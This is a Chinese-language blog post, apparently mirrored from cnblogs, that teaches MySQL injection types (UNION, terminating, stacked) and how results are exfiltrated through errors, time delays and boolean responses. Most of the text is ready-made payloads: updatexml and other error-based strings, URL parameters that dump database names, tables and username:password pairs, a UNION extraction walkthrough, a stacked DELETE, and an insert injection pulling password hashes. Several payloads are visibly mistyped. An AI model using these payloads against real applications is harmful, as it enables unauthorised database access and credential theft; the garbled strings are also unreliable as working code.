zoukankan      html  css  js  c++  java
  • MySQL注入点与SQL语句的关系


    注入位置分类

    这个分类方式是我自己想的,可能会有一些不准确。如图所示注入方式有3种,内联、终止、堆叠。每种注入方式又根据服务器的响应分为4类,时间延迟、报错、布尔、将执行结果直接输出。

    为什么给注入作分类?
    sql语句添加了注入语句之后,需要SQL编译器还是能正常编译并执行,才能达成攻击目的,不同的SQL语句写法,加入的位置会有不同,不同的位置有不同的区别,这里说的不同就是本文研究的对象。

    内联式 - UNION query SQL injection

    图案说明:

    终止式 - End SQL injection

    select * from users where name='test' or id>40;
    
    select * from users where name='test'; -- or id>40;
    

    画图说明:

    堆叠式 - Stacked queries SQL injection

    select * from users where id>40;delete from users where id=44;
    


    id=44被删除了,说明用堆叠起来的sql语句是能执行的。

    画图说明:

    显示方式 - Respons of to show

    显示方式指,你注入的是服务器的数据库,那么不管成功还是失败,都会得到服务器给你的响应。通过响应你才能知道你注入的语句执行成功了没,通过响应你才能拿到数据库里面的信息。而不同的业务场景、不同的开发就会有不同的响应显示方式,一般有报错返回、布尔返回、什么都不显示(通过时间延迟显示延迟数)。

    报错注入 - Error-based SQL injection

    报错注入有两种利用方式,一种是通过if( )函数,当判断出错的时候,就报错。一种是利用updatexml( )函数,直接将查询的内容通过报错信息展示出来。

    if( )函数

    0x7e (HEX码) = ~ (ASCII码)

    假设要查询的name=lisi:

    select name from users where id=1;
    select substring((select name from users where id=1),1,1);
    select * from users where name='lisi' and if((substring((select name from users where id=1),1,1)='i'),1,exp(~(select * from (select user () ) a) ));
    

    判读 lisi 第一个值为i 报错:

    判读 lisi 第一个值为l 正常输出查询内容:

    找了一些生僻函数用来报错:

    1、通过floor报错,注入语句如下:
    and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);
    
    2、通过ExtractValue报错,注入语句如下:
    and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
    
    3、通过UpdateXml报错,注入语句如下:
    and 1=(updatexml(1,concat(0x3a,(select user())),1))
    
    4、通过NAME_CONST报错,注入语句如下:
    and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
    
    5、通过join报错,注入语句如下:
    select * from(select * from mysql.user ajoin mysql.user b)c;
    
    6、通过exp报错,注入语句如下:
    and exp(~(select * from (select user () ) a) );
    
    7、通过GeometryCollection()报错,注入语句如下:
    and GeometryCollection(()select *from(select user () )a)b );
    
    8、通过polygon ()报错,注入语句如下:
    and polygon (()select * from(select user ())a)b );
    
    9、通过multipoint ()报错,注入语句如下:
    and multipoint (()select * from(select user() )a)b );
    
    10、通过multlinestring ()报错,注入语句如下:
    and multlinestring (()select * from(selectuser () )a)b );
    
    11、通过multpolygon ()报错,注入语句如下:
    and multpolygon (()select * from(selectuser () )a)b );
    
    12、通过linestring ()报错,注入语句如下:
    and linestring (()select * from(select user() )a)b );
    

    updatexml( )函数

    updatexml( )函数的作用是对XML文档查询、修改、更新。在注入场景下的作用是将查询的内容通过报错信息展示出来。

    ①爆数据库版本信息:?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
    ②链接用户:?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
    链接数据库:?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
    爆库:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)
    爆表:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)
    爆字段:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)
    爆字段内容:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)
    

    example:



    时间延迟注入 - Time-based blind SQL injection

    if( )

    select * from users where name='lisi' ;
    select substring((select name from users where id=1),1,1);
    select * from users where name='lisi' and if((substring((select name from users where id=1),1,1)='i'),1,sleep(5));
    

    out:

    sql> select * from users where name='lisi'
    [2019-09-04 18:57:32] 1 row retrieved starting from 1 in 48 ms (execution: 7 ms, fetching: 41 ms)
    sql> select * from users where name='lisi' and if((substring((select name from users where id=1),1,1)='i'),1,sleep(5))
    [2019-09-04 18:57:43] 0 rows retrieved in 5 s 25 ms (execution: 5 s 4 ms, fetching: 21 ms)
    


    当if判断的字符不为预期的时候延时5秒。

    benchmark( )

    语法:

    benchmark(count,expr)  --- 函数重复
    

    Example:

    select benchmark(50000,md5('test'));
    #0.15sec
    select benchmark(5000000,md5('test'));
    #1.54sec
    select benchmark(50000000,md5('test'));
    #14.71sec
    

    布尔注入 - Boolean-based blind SQL injection

    select * from users where name='lisi' ;
    select substring((select name from users where id=1),1,1);
    select * from users where name='lisi' and substring((select name from users where id=1),1,1)='i' and id < 20;
    


    逻辑判断字符为预期时,正常输出查询内容。


    逻辑判断字符不为预期时,查询不出内容。

    回显执行结果注入

    这个在实战中不常见。一般靶机才会这么写。有小概率会碰到例外。

    总结

    我感觉时间延迟注入、报错注入、布尔注入利用都差不多,只不过是改成时间、报错、逻辑值的方式让值输出来而已。

    终止式 + 回显执行结果的注入案例

    1.确认有无注入

    1' and '1' ='1
    1' and '1' ='2
    1' and "1" ="1
    1' and "1" ="2
    1 and 1 = 1
    1 and 1 = 2
    

    2.判断他select几列
    order by n 或者 untion select 1,2,3,n 效果一样。

    select name,password from users where name='lisi' order by 2; #超过2就报错
    # or
    select name,password from users where name='lisi' union select 1,2; # 1,2,3 超过2列就报错
    
    select name,password from users where name='lisi' union select 1,database();
    

    3.获取库名

    select name,password from users where name='1' union select 1,database() #
    

    4.获取表名

    select name,password from users where name='1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
    #grup_concat() 将group by产生的同一个分组中的值连接起来,返回一个字符串结果。简单就是 将相同的行组合起来
    

    5.获取字段名

    select name,password from users where name='1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
    

    6.获取字段数据

    select name,password from users where name='1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
    

    常见SQL语句有注入的位置

    where

    select name,password from users where name='lisi' and password='123456';
    

    注入点在where后面的查询参数 namepassword,这种是最典型的,使用内联式可能较方便。

    insert

    这个位置有点复杂,使用终止、堆叠都可能会报错,得采用内联类

    正常语句:

    insert into table (firstname,lastname) values ('john','smith');
    

    注入语句:

    insert into table (firstname,lastname) values ('john',(select top 1 name + '|' + master.sys.fn.varbintohexstr(password hash) form sys.sql logins))-- ','smith');
    

    updata

    使用终止式;
    todo

    detele

    使用终止式;
    todo

    order by

    使用终止式;
    todo

    like

    使用终止式;
    todo

    limit

    使用终止式;
    todo

    文章还没有更新完,请关注https://www.cnblogs.com/mysticbinary博客,方便获得最新更新。


    这篇文章对你有帮助吗?作为一名程序工程师,在评论区留下你的困惑或你的见解,大家一起来交流吧!
    微信公众号: Mysticbinary
    Github:https://github.com/Mysticbinary
    本文版权归作者所有,欢迎转载,但未经作者同意请保留此段声明,请在文章页面明显位置给出原文链接
    声明:本文章仅限于讨论网络安全技术,请勿用作任何非法用途,否则后果自负,本人和博客园不承担任何责任!
  • 相关阅读:
    jQuery removeAttr() 源码解读
    jQuery attr() 源码解读
    jQuery access()方法
    为页面添加favicon
    关于CSS3 object-position/object-fit属性的使用
    使用jQuery判断元素是否在可视区域
    使用canvas实现环形进度条
    使用css3实现瀑布流布局效果
    js判断元素滑动方向(上下左右)移动端
    绝对定位元素实现水平垂直居中
  • 原文地址:https://www.cnblogs.com/mysticbinary/p/14402650.html
Copyright © 2011-2022 走看看